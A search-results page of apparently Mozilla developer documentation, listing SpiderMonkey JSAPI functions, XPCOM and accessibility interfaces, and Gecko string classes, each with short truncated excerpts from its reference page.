JS_GetGlobalForObject
in a js_threadsafe build, the caller must be in a request on this jscontext.
...for function object inputs, the result is "the global object" as referred to in the ecmascript specification.
JS_GetObjectPrototype
this article covers features introduced in spidermonkey 17 retrieves the original, canonical object.prototype for an object's global object.
...in a js_threadsafe build, the caller must be in a request on this jscontext.
JS_GetPendingException
in a js_threadsafe build, the caller must be in a request on this jscontext.
... description if an exception has been thrown in the context cx, and it has not yet been caught or cleared, js_getpendingexception stores the exception object in *vp and returns true.
JS_GetPositiveInfinityValue
infinities are typically used to represent numbers that are greater in magnitude than the greatest representable finite values.
... as a value in mathematical calculations, an infinite value behaves like infinity.
JS_GetPrivate
(but consider using js_valuetofunction instead to access it.) warning: it is dangerous to call js_getprivate on a jsobject * unless the object's jsclass is known.
...casting that pointer to the desired type and using it could then cause a crash or worse.
JS_GetReservedSlot
description if a jsclass has jsclass_has_reserved_slots(n) in its flags, with n > 0, or has a non-null jsclass.reserveslots callback, then objects of that class have n reserved slots in which the application may store data.
...they cannot be returned from functions, set as properties on objects, embedded in javascript arrays, and so on.) new objects' reserved slots are initialized to undefined.
JS_GetStringEncodingLength
in a js_threadsafe build, the caller must be in a request on this jscontext..
...you can use this value to create a buffer to encode the string into using the js_encodestringtobuffer function.
JS_HasArrayLength
in a js_threadsafe build, the caller must be in a request on this jscontext.
...this function differs from js_getarraylength in the treatment of errors and unusual cases, like when an object's length is negative or not a number.
JS_HasElement
in a js_threadsafe build, the caller must be in a request on this jscontext.
...if not, it sets *foundp to false and returns true (to indicate no error occurred).
JS_HasOwnProperty
in a js_threadsafe build, the caller must be in a request on this jscontext.
... if the object obj has no such property, the function sets *foundp to false and returns true (to indicate that no error occurred).
JS_InitCTypesClass
in a js_threadsafe build, the caller must be in a request on this jscontext.
... description ctypes capability is disabled in a build by default.
JS_InitStandardClasses
in a js_threadsafe build, the caller must be in a request on this jscontext.
...n ecma 262-3 §15.1: array, boolean, date, decodeuri, decodeuricomponent, encodeuri, encodeuricomponent, error, eval, evalerror, function, infinity, isnan, isfinite, math, nan, number, object, parseint, parsefloat, rangeerror, referenceerror, regexp, string, syntaxerror, typeerror, undefined, and urierror as well as a few spidermonkey-specific globals, depending on compile-time options: escape, unescape, uneval, internalerror, script, xml, namespace, qname, file, generator, iterator, and stopiteration, as of spidermonkey 1.7.
JS_InternString
get an interned string - a jsstring that is protected from gc and automatically shared with other code that needs a jsstring with the same value.
...in a js_threadsafe build, the caller must be in a request on this jscontext.
JS_IsExceptionPending
description js_isexceptionpending returns true if an exception has been thrown in the context cx and the exception has not yet been caught or cleared.
... otherwise, it returns false this can be used from jsnative functions which call js code to determine if the called js code threw an exception or not.
JS_LeaveCompartment
oldcompartment jscompartment * value returned by previous call to js_entercompartment.
...any access to an object in a different compartment must be bracketed by calls to js_entercompartment and js_leavecompartment.
JS_New
in a js_threadsafe build, the caller must be in a request on this jscontext.
...if ctor is not an object that can be used as a constructor, a typeerror is raised.
JS_NewCompartmentAndGlobalObject
in a js_threadsafe build, the caller must be in a request on this jscontext.
... the caller must ensure that the jsclass remains alive throughout the lifetime of the new object, including the garbage collection cycle that finally frees it.
JS_NewDateObjectMsec
this article covers features introduced in spidermonkey 1.8.5 creates a new date object instance, configured to represent the date and time indicated by the specified time in milliseconds since the unix epoch.
...in a js_threadsafe build, the caller must be in a request on this jscontext.
JS_NewDependentString
in a js_threadsafe build, the caller must be in a request on this jscontext.
...(implementation note: because of this sharing, the garbage collector will not collect str as long as the new substring is reachable.) on success, js_newdependentstring returns a pointer to the new string.
JS_NewPropertyIterator
in a js_threadsafe build, the caller must be in a request on this jscontext.
...note also that while for..in includes properties inherited from prototypes, iterator objects do not.) on success, this returns an iterator object that can be passed to js_nextproperty to fetch the property ids.
JS_NewStringCopyZ
in a js_threadsafe build, the caller must be in a request on this jscontext.
... description js_newstringcopyz allocates space for a new javascript string and its underlying storage, and then copies the contents of a null-terminated character array, s, into the new string.
JS_NextProperty
in a js_threadsafe build, the caller must be in a request on this jscontext.
... iterobj js::handleobject the opaque iterator object returned by a previous call to js_newpropertyiterator.
JS_ObjectIsDate
in a js_threadsafe build, the caller must be in a request on this jscontext.
... description js_objectisdate() can be used to check if you are dealing with a date object, or a date object used across compartments (or windows or sites, in the browser embedding).
JS_SealObject
as of spidermonkey 1.8.5, js_sealobject has been removed from the jsapi, because ecmascript 5 includes a "seal" concept (namely, that of object.seal) which is quite different from that of js_sealobject.
... prevent modification of object fields.
JS_SetNativeStackQuota
the stack quotas for each kind of code should be monotonically descending, and may be specified with this function.
... this function may only be called immediately after the runtime is initialized and before any code is executed and/or interrupts requested.
JS_SetThreadStackLimit
this is deprecated, use js_setnativestackquota instead.
...in a js_threadsafe build, after passing a jscontext from one thread to another, call js_setthreadstacklimit(cx, 0) after calling js_setcontextthread.
JS_ThrowStopIteration
in for…in and for each…in loops, the javascript engine can create an iterator object and call its .next method repeatedly, as described in new in javascript 1.7: iterators.
...the engine automatically catches the exception and exits the loop.
JS_ValueToId
in a js_threadsafe build, the caller must be in a request on this jscontext.
...if v is not a string, it is converted to a string as if by calling js_valuetostring.
JS_freeop
p void * a pointer to the allocated memory to be freed.
... description js_freeop is a wrapper for js_free(p) that may delay js_free(p) invocation as a performance optimization as specified by the given jsfreeop instance.
OBJECT_TO_JSVAL
casts a specified js object to a js value.
... description object_to_jsval casts obj from type jsobject * to jsval.
STRING_TO_JSVAL
casts a specified js string to a js value.
... description string_to_jsval casts a given jsstring * to jsval.
jsdouble
controlling the behavior of floating-point arithmetic is very architecture- and system-specific, and can be hard to get right.
... help in the form of test cases, commentary, and patches is always appreciated.
SpiderMonkey: The Mozilla JavaScript runtime
standalone source code releases can be found on the releases page.
... jsapi user guide this guide provides an overview of spidermonkey and describes how you can embed engine calls in your applications to make them javascript-aware.
TPS Password Lists
used for http authentication passwords.
... password lists and phase actions following are the functions that can be used in phase actions related to passwords: passwords.add passwords.delete passwords.modify passwords.verify passwords.verifynot ...
The Rust programming language
rust is a new open-source systems programming language created by mozilla and a community of volunteers, designed to help developers create fast, secure applications which take full advantage of the powerful features of modern multi-core processors.
... to learn more about rust, you can: watch the videos below for a closer look at the power and benefits rust provides.
Task graph
the result of each task is sent to treeherder where developers and sheriffs can track the status of the push.
... all of this is controlled from within the gecko source code, through a process called task-graph generation.
ROLE_ALERT
assistive technologies typically respond to the role by reading the entire onscreen contents of containers advertising this role.
... used by aria: alert, alertdialog xul: <notification/>, <panel noautofocus = "true"/> ...
XUL Accessibility
aggregating the text from element subtree if the child node is hidden then it's ignored excepting the case when the element used as label is hidden itself if the child node is text node then its rendered value is appended if the child node is element then if it implements nsidomxullabeledcontrolelement then the value of label property is appended otherwise if it's a label element then then value attribute is appended otherwise append tooltiptext attribute append the accessible value searching specific element in neighbour of the element search inside the elem...
... <description value="it's label for control" control="control" /> <hbox role="grouping" id="control" /> get tooltiptext attribute value if the aria role is used and it allows to have accessible value then aria-valuetext or aria-valuenow are used if the element is xlink then value is generated from link location actions if the element is xlink then jump action is exposed if the element has registered click event handler then click action is exposed xul elements notification used to display an informative message.
Accessibility API Implementation Details
at apis supportthis documentation explains how makers of screen readers, voice dictation packages, onscreen keyboards, magnification software and other assitive technologies can support gecko-based software.
... we provide for them the support of these products on windows, linux/unix and os x platforms.at developmentthe accessibility of computer software has seen drastic improvements over the past two decades.
Life After XUL: Building Firefox Interfaces with HTML
this page gathers technical solutions to common problems encountered by teams shipping html-based interfaces inside firefox.
... problems / solutions: accessibility localization caching for working offline / pre-caching for snappy first run visual performance / jank security privacy operations tooling build process third-party library use and management ...
Places
displaying places information using views how to use places views to display places data in your own applications or extensions.
... the places "frecency" algorithm the algorithm behind the places location bar (sometimes called the "awesomebar").
Preferences API
you can also create a xul-based options window easily to allow user modify some preferences.
... many applications including firefox and thunderbird have an additional tool for power users, about:config, which can be used to tweak the preferences without ui.
Toolkit API
the mozilla toolkit is a set of programming interfaces (apis) built on top of gecko which provide advanced services to xul applications.
... these services include: profile management chrome registration browsing history extension and theme management application update service safe mode printing official references structure of an installable bundle: describes the common structure of installable bundles, including extensions, themes, and xulrunner applications extension packaging: specific information about how to package extensions theme packaging: specific information about how to package themes multiple-item extension packaging: specific information about multiple-item extension xpis xul application packaging: specific information about how to package xulrunner applications chrome registration printing in xul apps see also the following developer pages contain examples and discuss...
Resources
weblock installer and information the sdk download linux: http://ftp.mozilla.org/pub/mozilla/releases/mozilla1.4a/gecko-sdk-i686-pc-linux-gnu-1.4a.tar.gz windows: http://ftp.mozilla.org/pub/mozilla/releases/mozilla1.4a/gecko-sdk-win32-1.4a.zip other mozilla downloads gecko resources internal string guide external string guide the gecko networking library ("necko") the netscape portable runtime environment embedding mozilla current module owners xpinstall xul xpcom resources the xpcom project page xulplanet's online xpcom reference information on xpconnect and scriptable components the smart pointer guide xpidl xpidl compiler reference general development resources the world wide web consortium url specification at the w3 gnu make « previo...
...this material may be distributed only subject to the terms and conditions set forth in the open publication license, v1.02 or later.
mozilla::services namespace
the services c++ namespace offers an easy and efficient alternative for obtaining a service as compared to the indirect xpcom approach: getservice(), callgetservice(), etc methods are expensive and should be avoided when possible.
... to use it, you first need to include the header into your c++ file: #include "mozilla/services.h" then you can obtain references to services by simply accessing them from the mozilla::services namespace.
Components.Exception
these exception objects may be thrown when implementing xpcom interfaces in javascript, and they can provide better diagnostics in the error console if not caught than simply throwing an nsresult's value will.
... syntax var exception = [ new ] components.exception([ message [, result [, stack [, data ] ] ] ]); parameters message a string which can be displayed in the error console when your exception is thrown or in other developer-facing locations, defaulting to 'exception' result the nsresult value of the exception, which defaults to components.results.ns_error_failure stack an xpcom stack to be set on the exception (defaulting to the current stack chain) data any additional data you might want to store, defaulting to null example throw components.exception("i am throwing an exception from a javascript xpcom component."); ...
Components.results
elements in this array can be used to test against unknown nsresult variables or they can be 'thrown' to indicate failure...
... if(something_unexpected_happened) throw components.results.ns_error_unexpected; the elements of the components.results object can be enumerated using a for-in loop.
Components.stack
components.stack is a read only property of type nsistackframe (idl definition) that represents a snapshot of the current javascript callstack.
... this can be used for various diagnostic purposes.
Components.utils.getWeakReference
to obtain the object reference, you have to call get() on the resulting object.
... in addition, just because get() succeeds doesn't mean your object is valid.
Components.utils.schedulePreciseGC
this is useful particularly when testing for memory leaks, because normal garbage collection is conservative when javascript code is running to ensure that in-use memory isn't inadvertently collected.
...using scheduleprecisegc() when you call components.utils.scheduleprecisegc(), you specify a callback that is executed in once the scheduled garbage collection has been completed: components.utils.scheduleprecisegc( function() { // this code is executed when the garbage collection has completed } ); since the garbage collection doesn't occur until some time in the future (unlike, for example, components.utils.forcegc(), which causes garbage collection immediately but isn't able to collect all javascript-related memory), the callback lets you know when that's been finished.
Components.utils.setGCZeal
you can get details on what this method does in js_setgczeal.
... this method calls through to that thusly: js_setgczeal(<current context>, zeal, js_default_zeal_freq, false); syntax components.utils.setgczeal(zeal); where zeal is the zeal value you wish to use.
Examples
there are several java test applications checked in to the tree that give examples on how to embed gecko or init xpcom from within java.
... the test apps can be found at mozilla/extensions/java/xpcom/tests.
Using components
any of the below can be accessed by components.blah (ie: components.issuccesscode) utils=[object nsxpccomponents_utils] interfaces=[object nsxpccomponents_interfaces] classes=[object nsxpccomponents_classes] results=[object nsxpccomponents_results] issuccesscode=function issuccesscode() { [native code] } constructor=[object nsxpccomponents_constructor] queryinterface=function queryinterface() { [native code] } inter...
...facesbyid=[object nsxpccomponents_interfacesbyid] classesbyid=[object nsxpccomponents_classesbyid] stack=js frame :: scratchpad/4 :: cdump :: line 8 manager=[xpconnect wrapped nsicomponentmanager] id=[object nsxpccomponents_id] exception=[object nsxpccomponents_exception] reporterror=function reporterror() { [native code] } cancreatewrapper=function cancreatewrapper() { [native code] } cancallmethod=function cancallmethod() { [native code] } cangetproperty=function cangetproperty() { [native code] } cansetproperty=function cansetproperty() { [native code] } ...
XPCshell Test Manifest Expressions
you can add conditions to tests in order to control when tests get run.
...no escape sequences are supported.
XPConnect
with xpconnect, you can use xpcom components from javascript code, and interact with javascript objects from within xpcom components.
... xpconnect is part of firefox and is actively used in xul applications.
nsScriptableInputStream
class id 7225c040-a9bf-11d3-a197-0050041caf44 contractid @mozilla.org/scriptableinputstream;1 supported interfaces nsiscriptableinputstream, nsiinputstream remarks this component should be accessed via the xpcom component manager.
... } } catch (e) { dump("error: failed reading from stream:\n" + e + "\n"); } } see also nsiscriptableinputstream ...
NS ConvertUTF16toUTF8 external
ator= adopt beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral replace append appendliteral operator+= insert cut truncate stripchars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral find rfind findchar rfindchar appendint tointeger base classes nscstring_ex...
...2, pruint32) - source parameters char* data pruint32 pos pruint32 length void insert(const nsacstring&, pruint32) - source parameters nsacstring& readable pruint32 pos cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength truncate void truncate() - source stripchars void stripchars(const char*) - source remove all occurrences of characters in aset from the string.
NS LossyConvertUTF16toASCII external
ator= adopt beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral replace append appendliteral operator+= insert cut truncate stripchars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral find rfind findchar rfindchar appendint tointeger base classes nscstring_ex...
...2, pruint32) - source parameters char* data pruint32 pos pruint32 length void insert(const nsacstring&, pruint32) - source parameters nsacstring& readable pruint32 pos cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength truncate void truncate() - source stripchars void stripchars(const char*) - source remove all occurrences of characters in aset from the string.
PromiseFlatCString (External)
ator= adopt beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral replace append appendliteral operator+= insert cut truncate stripchars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral find rfind findchar rfindchar appendint tointeger base classes nscstringcon...
...2, pruint32) - source parameters char* data pruint32 pos pruint32 length void insert(const nsacstring&, pruint32) - source parameters nsacstring& readable pruint32 pos cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength truncate void truncate() - source stripchars void stripchars(const char*) - source remove all occurrences of characters in aset from the string.
nsACString
this class is typically used to represent ascii or utf-8 character arrays.
...thus, the length of the data contained in the nsacstring should be determined by calling the nsacstring::length() method.
nsAString
this class is typically used to represent unicode character arrays.
...thus, the length of the data contained in the nsastring should be determined by calling the nsastring::length method.
nsCStringContainer (External)
w beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral operator= replace append appendliteral operator+= insert cut truncate stripchars stripwhitespace trim defaultcomparator compare(const char*, print32 (*) compare(const nsacstring&, print32 (*) equals(const char*, print32 (*) equals(const nsacstring&, print32 (*) operator< operator<= operator== operator>= operator> operator!= equals...
...t32, pruint32) - source parameters char data pruint32 pos pruint32 length void insert(const nsacstring&, pruint32) - source parameters nsacstring readable pruint32 pos cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength truncate void truncate() - source stripchars void stripchars(const char*) - source remove all occurrences of characters in aset from the string.
nsCString external
ator= adopt beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral replace append appendliteral operator+= insert cut truncate stripchars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral find rfind findchar rfindchar appendint tointeger base classes nscstringcon...
...2, pruint32) - source parameters char* data pruint32 pos pruint32 length void insert(const nsacstring&, pruint32) - source parameters nsacstring& readable pruint32 pos cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength truncate void truncate() - source stripchars void stripchars(const char*) - source remove all occurrences of characters in aset from the string.
nsDependentCString external
ator= adopt beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral replace append appendliteral operator+= insert cut truncate stripchars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral find rfind findchar rfindchar appendint tointeger base classes nscstring_ex...
...2, pruint32) - source parameters char* data pruint32 pos pruint32 length void insert(const nsacstring&, pruint32) - source parameters nsacstring& readable pruint32 pos cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength truncate void truncate() - source stripchars void stripchars(const char*) - source remove all occurrences of characters in aset from the string.
nsDependentCSubstring external
d beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral operator= replace append appendliteral operator+= insert cut truncate stripchars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral find rfind findchar rfindchar appendint tointeger base classes nscstringcon...
...2, pruint32) - source parameters char* data pruint32 pos pruint32 length void insert(const nsacstring&, pruint32) - source parameters nsacstring& readable pruint32 pos cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength truncate void truncate() - source stripchars void stripchars(const char*) - source remove all occurrences of characters in aset from the string.
nsLiteralCString (External)
ator= adopt beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral replace append appendliteral operator+= insert cut truncate stripchars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral find rfind findchar rfindchar appendint tointeger base classes nscstring_ex...
...2, pruint32) - source parameters char* data pruint32 pos pruint32 length void insert(const nsacstring&, pruint32) - source parameters nsacstring& readable pruint32 pos cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength truncate void truncate() - source stripchars void stripchars(const char*) - source remove all occurrences of characters in aset from the string.
nsLiteralString (External)
ator= adopt beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral replace append appendliteral operator+= insert cut truncate stripchars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral find rfind findchar rfindchar appendint tointeger base classes nscstring_ex...
...2, pruint32) - source parameters char* data pruint32 pos pruint32 length void insert(const nsacstring&, pruint32) - source parameters nsacstring& readable pruint32 pos cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength truncate void truncate() - source stripchars void stripchars(const char*) - source remove all occurrences of characters in aset from the string.
Free
« xpcom api reference summary the free function frees a block of memory that was allocated by xpcom's memory manager.
...this may be nsnull, in which case nothing happens.
imgIContainerObserver
methods native code only!framechanged called when the frame for an image container has changed.
... adirtyrect a rectangle indicating the portion of the image container that changed.
mozIPlacesAutoComplete
note: pages will not be automatically unregistered when private browsing mode is entered or exited.
...note: pages will not be automatically unregistered when private browsing mode is entered or exited.
mozIStorageAsyncStatement
(mozistoragestatement can be used for both synchronous and asynchronous purposes.) this specialization for asynchronous operation allows us to avoid needing to acquire synchronization primitives also used by the asynchronous execution thread.
... in contrast, mozistoragestatement may need to acquire the primitives and consequently can cause the main thread to lock for extended intervals while the asynchronous thread performs some long-running operation.
mozIStorageStatementParams
for example, say you create a statement like so: var statement = dbconn.createstatement("select * from table_name where id = :item_id"); this object would have one property, item_id, that you can use to bind a value to that named parameter like so: statement.params.item_id = 2; for more details on why you should bind parameters as opposed to hard-coding them into your statement, please see the overview document about binding parameters.
... enumeration of properties you can also enumerate all the properties on this object with a for..in enumeration: // valuestobind is an object that contains key-value pairs // to bind to the statement before executing it.
DoAction
exceptions thrown ns_error_failure indicates that the accessible is unattached from the accessible tree.
... ns_error_invalid_arg indicates that the given index is our of range.
GetAccessibleAbove
« nsiaccessible page summary this method returns an accessible node geometrically above this one.
... nsiaccessible getaccessibleabove(); return value returns an accessible node geometrically above this one.
GetAccessibleBelow
« nsiaccessible page summary this method returns an accessible node geometrically below this one.
... nsiaccessible getaccessiblebelow(); return value returns an accessible node geometrically below this one.
GetAccessibleToLeft
« nsiaccessible page summary this method returns an accessible node geometrically to the left of this one.
... nsiaccessible getaccessibletoleft(); return value returns an accessible node geometrically to the left of this one.
GetAccessibleToRight
« nsiaccessible page summary this method returns an accessible node geometrically to the right of this one.
... nsiaccessible getaccessibletoright(); return value returns an accessible node geometrically to the right of this one.
GetKeyBindings
« nsiaccessible page summary this method provides array of localized string of global keyboard accelerator for the given action index supported by accessible.
...return values returns array of localized string of global keyboard accelerator.
Parent
attribute nsiaccessible parent; exceptions thrown ns_error_failure indicates that the accessible is unattached from the accessible tree.
... remarks every accessible in the tree has accessible parent excepting application accessible (top level accessible).
TakeFocus
void takefocus(); remarks the state state_focusable indicates whether this node is normally focusable.
... it is the callers responsibility to determine whether this node is focusable.acctakefocus on a node that is not normally focusable (such as a table), will still set focus on that node, although normally that will not be visually indicated in most style sheets.
nsIAccessibleImage
exceptions thrown ns_error_failure indicates that the accessible is unattached from the accessible tree.
... exceptions thrown ns_error_failure indicates that the accessible is unattached from the accessible tree.
nsIAccessibleProvider
er 0x00001007 xulgroupbox 0x00001008 xulimage 0x00001009 xullink 0x0000100a xullistbox 0x0000100b xullistcell 0x00001026 xullisthead 0x00001024 xullistheader 0x00001025 xullistitem 0x0000100c xulmenubar 0x0000100d xulmenuitem 0x0000100e xulmenupopup 0x0000100f xulmenuseparator 0x00001010 xulpane 0x00001011 xulprogressmeter 0x00001012 xulscale 0x00001013 xulstatusbar 0x00001014 xulradiobutton 0x00001015 xulradiogroup 0x00001016 xultab 0x00001017 the single tab in a dialog or tabbrowser/editor interface.
... xformscalendarwidget 0x00002102 used for calendar widget that is used by xforms elements.
nsIAuthPromptProvider
prompt_proxy 1 proxy authentication request.
...void getauthprompt( in pruint32 apromptreason, in nsiidref iid, [iid_is(iid),retval] out nsqiresult result ); parameters apromptreason the reason for the authentication prompt, one of the prompt_* constants.
nsIAutoCompleteObserver
inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void onsearchresult(in nsiautocompletesearch search, in nsiautocompleteresult result); void onupdatesearchresult(in nsiautocompletesearch search, in nsiautocompleteresult result); methods onsearchresult() called when a search is complete and the results are ready.
... onupdatesearchresult() called to update with new results.
nsIBidiKeyboard
widget/public/nsibidikeyboard.idlscriptable this interface lets the application detect bidirectional writer users, and do some magic for them.
...anian (persian), or israel (hebrew) keyboard layout, beside an us (english) layout.) inherits from: nsisupports last changed in gecko 9.0 (firefox 9.0 / thunderbird 9.0 / seamonkey 2.6) method overview boolean islangrtl(); void setlangfrombidilevel(in pruint8 alevel); attributes attribute type description havebidikeyboards boolean indicates whether or not the system has at least one keyboard for each direction (left-to-right and right-to-left) installed.
nsIChannelPolicy
channels can be created with this interface placed in the property bag and upon redirect, the interface can be transferred from the old channel to the new channel.
... loadtype unsigned long indicates what type of content is being loaded, for example nsicontentpolicy::type_image.
nsIClipboardDragDropHookList
you should access these capabilities indirectly by sending commands using the nsiclipboarddragdrophooks interface.
... within gecko, this interface is used by calling get_interface on a docshell.
nsICommandLineRunner
methods init() called with the argc/argv combination passed to main.
... run() processes the command-line handlers in the proper order, and calls nsicommandlinehandler.handle() on each.
nsIContentFrameMessageManager
frame scripts can send either synchronous or asynchronous messages to the chrome process: for details on these messaging apis see the documentation for the nsicontentframemessagemanager's parent classes nsisyncmessagesender and nsimessagesender.
... examples once you obtain the conten frame messge manager, you can send messages to listeners who registered with services.mm.addmessagelistener get content message manager from browser this could would run in a nsidomwindow scope.
nsIContentPrefObserver
1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method overview void oncontentprefremoved(in astring agroup, in astring aname); void oncontentprefset(in astring agroup, in astring aname, in nsivariant avalue); methods oncontentprefremoved() called when a content preference is removed.
... oncontentprefset() called when the value of a preference is set (either by changing its current value or by creating the preference).
nsICookieManager2
presence of a leading dot indicates a domain cookie; otherwise, the cookie is treated as a non-domain cookie.
... aishttponly true if the cookie should only be sent to, and can only be modified by, an http connection.
nsICrashReporter
minidumppath nsilocalfile get or set the path on the local system to which minidumps will be written when a crash happens.
...this is implemented on windows only, because seh (structured exception handling) exists on windows only.
nsICycleCollectorListener
1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) the order of calls will be call to begin(); then for every node in the graph a call to noteobject() and calls to noteedge() for every edge starting at that node; then a call to begindescriptions(); then for every black node in the cycle collector graph a call to either describerefcountedobject() or to describegcedobject(); and then a call to end().
... if begin() returns an error none of the other functions will be called.
nsIDNSListener
inherits from: nsisupports last changed in gecko 1.7 method overview void onlookupcomplete(in nsicancelable arequest, in nsidnsrecord arecord, in nsresult astatus); methods onlookupcomplete() called when an asynchronous host lookup completes.
... void onlookupcomplete( in nsicancelable arequest, in nsidnsrecord arecord, in nsresult astatus ); parameters arequest the value returned from asyncresolve.
nsIDNSRecord
since a dns query may return more than one resolved ip address, the record acts like an enumerator, allowing the caller to easily step through the list of ip addresses.
... acstring getnextaddrasstring(); boolean hasmore(); void rewind(); attributes attribute type description canonicalname acstring for example, www.mozilla.org --> rheet.mozilla.org.
nsIDNSRequest
inherits from: nsisupports last changed in gecko 1.7 method overview void cancel(); methods cancel() called to cancel a pending asynchronous dns request.
...void cancel(); parameters none.
nsIDOMClientRect
height float height of the rectangle box (this is identical to bottom minus top).
... width float width of the rectangle box (this is identical to right minus left).
nsIDOMFileException
the nsidomfileexception interface represents exceptions that can be raised by calls to the methods in the nsidomfile interface.
... note: gecko's implementation of this interface presently differs from the working draft of the file api specification.
nsIDOMGeoPositionCoords
the nsidomgeopositioncoords interface describes a geographical location.
... dom/interfaces/geolocation/nsidomgeopositioncoords.idlscriptable please add a summary to this article.
nsIDOMGlobalPropertyInitializer
1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) an xpcom component implementing this interface can be exposed to web content as a property on the window.
...an alternative way to expose an object to the web content is to add the property in response to the content-document-global-created notification.
nsIDOMHTMLAudioElement
return value an unsigned 64-bit value indicating how many audio samples have been played since the stream began playing.
...exceptions thrown ns_error_dom_invalid_state_err the stream has not been initialized for writing by a call to mozsetup().
nsIDOMHTMLSourceElement
note that dynamically manipulating this value after the page has loaded has no effect on the containing element; instead, change the src attribute of that element (audio or video) instead.
... type domstring the type attribute gives the type of the media resource, to help the user agent determine if it can play this media resource before fetching it.
nsIDOMNode
localname domstring read only.
...removechild() nsidomnode removechild( in nsidomnode oldchild ); parameters oldchild return value replacechild() nsidomnode replacechild( in nsidomnode newchild, in nsidomnode oldchild ); parameters newchild oldchild return value see also document object model (dom) level 2 core specificationrec ...
nsIDOMStorage
1.0 66 introduced gecko 1.8.1 inherits from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) a dom window's session storage object can be retrieved from the window's sessionstorage attribute.
... see also dom storage structured client-side storage (html 5 specification) nsidomstorageitem ...
nsIDOMStorageItem
however, http pages can only see items stored from http pages, and will not see items stored from https pages.
... see also dom storage structured client-side storage (html 5 specification) nsidomstorage nsidomstorage2 ...
nsIDOMStorageList
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview nsidomstorage nameditem(in domstring domain); methods nameditem() called when the list of available access points changes.
... return value the nsidomstorage object representing the data store for the specified domain.see also dom storage structured client-side storage (html 5 specification) nsidomwindow ...
nsIDOMStorageWindow
localstorage nsidomstorage local storage for the current browsing context.
... data stored in local storage may only be accessed from the same origin that inserted the data into storage in the first place.
nsIDOMUserDataHandler
dom/interfaces/core/nsidomuserdatahandler.idlscriptable the callback function for the setuserdata method.
... methods handle() this method is a callback which will be called if a node with user data is being cloned, imported or adopted.
nsIDOMWindow2
inherits from: nsidomwindow last changed in gecko 1.9 (firefox 3) because nsidomwindow is frozen, this interface was introduced in firefox 3 (gecko 1.9) to allow dom windows to take on new features.
... attributes attribute type description applicationcache nsidomofflineresourcelist the application cache object for this window.
nsIDOMXPathResult
resulttype unsigned short the type of result; can be any of the type constants except any_type.
...see also introduction to using xpath in javascript document object model (dom) level 3 xpath specification nsidomxpathevaluator document.evaluate nsidomxpathexception ...
nsIDeviceMotion
methods addlistener() when called, the accelerometer support implementation must begin to notify the specified nsidevicemotionlistener by calling its nsidevicemotionlistener.onaccelerationchange() method as appropriate to share updated acceleration data.
... void addlistener( in nsidevicemotionlistener alistener ); parameters alistener the nsidevicemotionlistener object whose nsidevicemotionlistener.onaccelerationchange() method should be called with updated acceleration data.
nsIDeviceMotionListener
xpcom/system/nsidevicemotion.idlscriptable this interface can be implemented by clients that want to be notified orientation or acceleration changes on supported devices.
... 1.0 66 introduced gecko 1.9.2 inherits from: nsisupports last changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) method overview void onmotionchange(in nsidevicemotiondata amotiondata); methods onmotionchange() called when new orientation or acceleration data is available.
nsIDirIndexListener
they can then be transformed into an output format (such as rdf, html and so on) inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void onindexavailable(in nsirequest arequest, in nsisupports actxt, in nsidirindex aindex); void oninformationavailable(in nsirequest arequest, in nsisupports actxt, in astring ainfo); methods onindexavailable() called for each directory entry.
... oninformationavailable() called for each information line.
nsIDirectoryServiceProvider2
inherits from: nsidirectoryserviceprovider last changed in gecko 0.9.6 method overview nsisimpleenumerator getfiles(in string prop); methods getfiles() the directory service calls this when it gets a request for a prop and the requested type is nsisimpleenumerator.
... return value an enumerator for a list of file locations.
nsIDragDropHandler
nsidragdrophandler is an interface for communicating with the built-in drag and drop implementation in the content area.
...hookupto() attaches drag handlers to a specified receiver, setting up callbacks to let built-in behaviors be overridden.
nsIEditorObserver
